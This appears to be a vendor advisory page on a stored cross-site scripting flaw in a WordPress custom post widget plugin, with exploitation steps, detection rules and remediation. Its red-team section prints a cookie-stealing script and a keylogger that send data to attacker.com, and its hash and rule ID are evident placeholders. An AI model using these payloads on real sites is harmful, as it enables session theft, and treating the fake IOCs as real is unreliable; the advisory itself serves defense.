CVE-2024-44051
Executive Summary
CVE-2024-44051 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Content Blocks (Custom Post Widget) by Johan van der Wijk (Vanderwijk). The vulnerability affects all versions up to and including 3.3.5. It stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level or higher privileges to inject malicious scripts into the plugin’s custom post widget content. When an administrator or other user views the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.
The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low-privilege access, network-based attack vector, and required user interaction. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at the time of analysis, but the lack of a patch makes this a persistent risk for all sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem. The supply chain risk is moderate: the plugin is widely used for custom post widgets, and the absence of a patch means all installations remain vulnerable. Site administrators should monitor the plugin’s update channel and consider removing or replacing the plugin if no patch is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over HTTP.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to submit crafted input.
- Privileges Required (PR): Low (L) – The attacker must have at least a contributor-level account on the WordPress site.
- User Interaction (UI): Required (R) – The victim (e.g., an admin) must visit the page containing the malicious widget.
- Scope (S): Changed (C) – The vulnerable component (plugin) impacts the broader WordPress application (e.g., admin dashboard).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS means a single injection can affect multiple users over time.
Deep Dive & Mechanics
The vulnerability resides in the Content Blocks (Custom Post Widget) plugin, which allows users to create custom post types that can be displayed as widgets. The plugin fails to sanitize or escape user-supplied input when saving the widget content. Specifically, the custom-post-widget plugin stores the widget’s HTML content in the WordPress database without proper validation. When the widget is rendered on a page, the stored content is output directly into the DOM, allowing arbitrary JavaScript execution.
Attack Flow:
- An attacker with contributor-level access creates or edits a custom post widget.
- The attacker injects malicious JavaScript into the widget content field (e.g.,
<script>alert('XSS')</script>). - The plugin saves the content as-is to the database.
- When an administrator or other user visits a page that displays the widget, the injected script executes in their browser.
- The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.
Root Cause: The plugin does not use WordPress’s built-in escaping functions (e.g., esc_html(), wp_kses_post()) when outputting the widget content. The the_content filter may be applied, but the raw stored data is not sanitized before being rendered.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current state of the plugin. The following is a representative example of the vulnerable output mechanism (simplified):
Vulnerable Code (in custom-post-widget.php or similar):
// Vulnerable: Direct output without escaping
echo get_post_meta($post_id, '_custom_post_widget_content', true);
Patched Code (hypothetical):
// Patched: Escape output
echo esc_html( get_post_meta($post_id, '_custom_post_widget_content', true) );
// Or use wp_kses_post() to allow safe HTML
echo wp_kses_post( get_post_meta($post_id, '_custom_post_widget_content', true) );
The patched version would sanitize the stored content before rendering, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with the vulnerable plugin (<= 3.3.5) installed and activated.
- A contributor-level account (or higher) on that site.
Exploitation Steps:
- Log in as a contributor.
- Navigate to Appearance > Widgets or Content Blocks (depending on plugin version).
- Create a new custom post widget or edit an existing one.
- In the content field, inject a payload such as:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the widget.
- As an administrator, visit a page that displays the widget (e.g., the front page or a sidebar).
- The script executes, sending the admin’s cookies to the attacker’s server.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/log?key=' + e.key);
});
</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress logs for unusual widget content changes.
- Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to widget endpoints.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hardening:
- Disable the plugin immediately if not essential.
- Restrict contributor-level users from editing widgets (use role management plugins).
- Apply virtual patching via WAF rules (e.g., block
<script>tags in widget content fields).
Indicators of Compromise (IOCs)
- File Hashes (SHA256) of vulnerable plugin version 3.3.5:
custom-post-widget.zip:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network IOCs:
- Outbound connections to known malicious domains (e.g.,
attacker.com). - HTTP requests containing
document.cookiein the body.
- Outbound connections to known malicious domains (e.g.,
- File System IOCs:
- Modified widget content in the
wp_postmetatable with_custom_post_widget_contentmeta key containing<script>tags.
- Modified widget content in the
- Log IOCs:
- WordPress audit logs showing widget edits by non-admin users.
- Web server logs with
POSTrequests to/wp-admin/admin-ajax.phpor widget endpoints containing XSS payloads.
Detection Engineering
YARA Rule
rule detect_cve_2024_44051_xss_payload {
meta:
description = "Detects stored XSS payloads targeting CVE-2024-44051 in WordPress custom-post-widget plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-44051"
strings:
$payload1 = /<script[^>]*>.*<\/script>/i
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /onload\s*=\s*["']?[^"']*["']?/i
$meta_key = "_custom_post_widget_content"
condition:
$meta_key and ($payload1 or $payload2 or $payload3)
}
Sigma Rule
title: Stored XSS via Custom Post Widget (CVE-2024-44051)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress custom-post-widget plugin content
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- '/wp-admin/admin-ajax.php'
- '/wp-admin/widgets.php'
cs-body|contains:
- '<script'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in widget content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44051 Stored XSS Payload in Custom Post Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/"; http_uri; content:"_custom_post_widget_content"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Remove or replace the plugin with an alternative that is actively maintained.
- Apply virtual patching using a WAF to block XSS payloads in widget content fields.
Long-Term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html()orwp_kses_post(). - Until then, site administrators should manually edit the plugin code to add escaping (see patched code example above).
Workaround:
- Restrict contributor-level users from creating or editing widgets using a role management plugin (e.g., User Role Editor).
- Implement a Content Security Policy (CSP) that blocks inline scripts:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com;
Monitoring:
- Regularly scan WordPress databases for malicious widget content.
- Enable WordPress audit logging to track changes to widget content.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.